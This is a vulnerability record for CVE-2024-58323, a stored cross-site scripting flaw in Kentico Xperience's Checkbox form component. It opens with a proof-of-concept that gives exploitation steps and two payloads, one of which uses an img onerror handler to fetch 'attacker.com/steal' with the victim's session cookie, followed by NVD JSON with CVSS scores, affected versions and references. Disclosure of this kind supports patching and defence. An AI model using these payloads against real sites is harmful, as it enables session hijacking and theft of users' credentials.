CVE-2024-58323

// CVE-2024-58323 PoC - Stored XSS via Checkbox Form Component // Target: Kentico Xperience Checkbox Form Builder // Step 1: Login to Kentico Xperience CMS with low-privilege account // Step 2: Navigate to Form Builder // Step 3: Create or Edit a form with Checkbox component // Step 4: Inject XSS payload in Checkbox label/description field: const xssPayload = '<script>alert(document.cookie)</script>'; // or more sophisticated payload: const advancedPayload = ` <img src=x onerror=" fetch('https://attacker.com/steal?cookie='+encodeURIComponent(document.cookie)) "> `; // Step 5: Save the form // Step 6: When any user views the page containing this form component, // the XSS payload will execute in their browser context // Example exploitation chain: // 1. Attacker creates form with malicious checkbox // 2. Form is saved and stored in database (no sanitization) // 3. Victim visits page with the checkbox form // 4. Browser renders the checkbox component // 5. Malicious script executes, exfiltrating session data

{"cve": {"id": "CVE-2024-58323", "sourceIdentifier": "[email protected]", "published": "2025-12-18T20:15:54.380", "lastModified": "2025-12-27T17:15:46.800", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting vulnerability in Kentico Xperience allows attackers to inject malicious scripts via the Checkbox form component. This allows malicious scripts to execute in users' browsers by exploiting HTML support in the form builder."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kentico:xperience:*:*:*:*:*:*:*:*", "versionEndIncluding": "13.0.158", "matchCriteriaId": "ED168D83-7724-4951-8AAA-87FD42378A7E"}]}]}], "references": [{"url": "https://devnet.kentico.com/download/hotfixes", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/kentico-xperience-checkbox-form-component-stored-xss", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}